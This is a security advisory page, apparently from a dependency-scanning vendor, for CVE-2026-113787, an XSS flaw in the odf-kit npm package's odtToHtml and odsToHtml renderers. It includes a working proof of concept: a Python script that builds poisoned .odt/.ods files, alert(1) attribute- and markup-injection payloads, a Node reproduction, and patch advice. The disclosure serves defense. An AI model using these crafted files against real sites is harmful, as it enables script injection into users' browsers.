NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-113787 — odf-kit

MEDIUMFix: GitHubNewbie0/odf-kit@fa3abc5

CVE-2026-113787 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in odf-kit. A fix is available for odf-kit — see the affected versions and patch details below.

odf-kit: HTML injection leading to XSS in odtToHtml() via unescaped style attribute values

Also known asGHSA-3cgg-c5pp-57h6
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-113787.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk
0.00%0.25%0.50%0.75%0.2%0.2%Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
odf-kitnpm
11Kdownloads / week

Description

Summary

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.

Details

ODT renderer (src/odt/to-html/html-renderer.ts)

The renderer has an escapeHtml() helper and applies it consistently to text content and to attribute values — href, src, alt, id, data-author, data-date, citation text all go through it. The inline CSS strings do not.

In renderTextSpan (dist/odt/to-html/html-renderer.js:195):

const css = spanStyleToCss(span.style);
if (css)
    html = `<span style="${css}">${html}</span>`;

The value of e.g. fo:color is copied from the document into style.fontColor verbatim by the parser (extractSpanStyle, read/parser.js:348), then concatenated raw into the attribute. A " in the value terminates the attribute early.

The same unescaped style="${...}" pattern appears at roughly ten other emission sites: paragraph and heading (paragraphStyleToCss), table cells and rows (cellStyleToCss, rowStyleToCss), <col>, and the image style attribute. The affected source attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family (via both direct and font-face resolution), fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.

ODS renderer (src/ods/to-html/html-renderer.ts) — same bug

buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):

if (includeStyles && cell.formatting) {
    const style = buildInlineStyle(cell.formatting);
    if (style) attrs.push(`style="${style}"`);
}

Additionally, row.height (from style:row-height) goes raw into the row element (line 95):

const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;

The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.

Version scope

The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.

PoC

Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:

import zipfile

def build(path, mimetype, content):
    # ODF requires 'mimetype' first and stored uncompressed
    with zipfile.ZipFile(path, "w") as z:
        z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
        z.writestr("META-INF/manifest.xml",
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
            ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
            ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
            '</manifest:manifest>\n')
        z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
        '<office:document-content\n'
        ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
        ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
        ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
        ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')

Q = "&quot;"
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}"                       # attribute injection
p2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}'  # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="paragraph" style:name="P1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:text><text:p text:style-name="P1">hello</text:p>'
        '</office:text></office:body></office:document-content>\n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="table-cell" style:name="ce1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:spreadsheet><table:table table:name="Sheet1"'
        ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">'
        '<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">'
        '<text:p>hello</text:p></table:table-cell></table:table-row>'
        '</table:table></office:spreadsheet></office:body></office:document-content>\n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))

This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:

<style:text-properties fo:color="red&quot; onmouseover=&quot;alert(1)&quot; x=&quot;"/>

poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:

red" onmouseover="alert(1)" x="

(encoded as &quot; in the XML). Output of odtToHtml(bytes, { fragment: true }):

<p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p>

The quote breaks out of style, and onmouseover becomes a real attribute on the span.

poc2.odt — full markup injection (ODT). The style value is:

red"><img src=x onerror="alert(1)"><x style="

Output:

<p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p>

poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):

<tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr>

Reproduction script:

import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

Impact

Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today.

For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and escapeHtml is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the buildInlineStyle path above is the second instance of the same defect.

Suggested fix

Escape the assembled CSS string at every style="${...}" site, in both renderers:

html = `<span style="${escapeHtml(css)}">${html}</span>`

(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping row.height in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmodf-kit≥ 0.6.0&&< 0.14.20.14.2npm install odf-kit@0.14.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for odf-kit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update odf-kit to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-113787 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary ODF style attribute values are interpolated into `style="..."` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions. ### Details #### ODT renderer (`src/odt/to-html/html-renderer.ts`) The renderer has an `escapeH
O3 Security · Impact-Aware SCA

Is CVE-2026-113787 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-113787: odf-kit XSS — Fixed in 0.14.2